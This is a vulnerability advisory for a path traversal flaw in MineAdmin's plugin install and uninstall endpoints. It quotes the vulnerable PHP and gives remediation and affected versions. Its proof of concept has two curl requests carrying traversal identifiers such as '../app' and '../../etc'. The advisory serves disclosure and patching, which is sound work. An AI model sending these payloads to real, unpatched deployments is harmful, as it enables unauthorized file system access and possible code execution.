MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall
Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall
Summary
The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.
Vulnerable Code
File: plugin/mine-admin/app-store/src/Service/Service.php
// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
if (empty($params['identifier']) || empty($params['version'])) {
$this->throwParamsFail();
}
$service = make(AppStoreServiceImpl::class);
if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) { // Path traversal
$result = $service->download($params['identifier'], $params['version']);
// ...
}
return true;
}
// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
// ...
$path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
if (file_exists($path . '/install.lock')) {
$this->throwAppInstalled();
}
Plugin::install($params['identifier']); // May run composer commands with traversal path
return true;
}
// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
// ...
$path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
Plugin::uninstall($params['identifier']); // Arbitrary uninstall
return true;
}File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)
#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)Proof of Concept
# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../app", "version": "1.0.0"}'
# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin
# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../../etc", "version": "1.0.0"}'Impact
- Path traversal enables reading directory existence outside the plugin directory
Plugin::install()with a traversed identifier may run composer commands on arbitrary directories- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
- Could lead to arbitrary code execution depending on
Plugin::install()implementation
Remediation
Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | mineadmin/mineadmin | < 3.2.0-alpha.2 | 3.2.0-alpha.2 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-22- Platform
- Composer
- Package
mineadmin/mineadmin- Disclosed
- 18.08.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-59xm-4m8c-g3xj - CC BY 4.0
Vulnerability history: mineadmin/mineadmin
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 6
- First → latest
- 12.2025 08.2026
- Without a fix
- 5
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 1
- Medium 1
- Low 3
Disclosures per year
- 2025: 1
- 2026: 5
-
MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.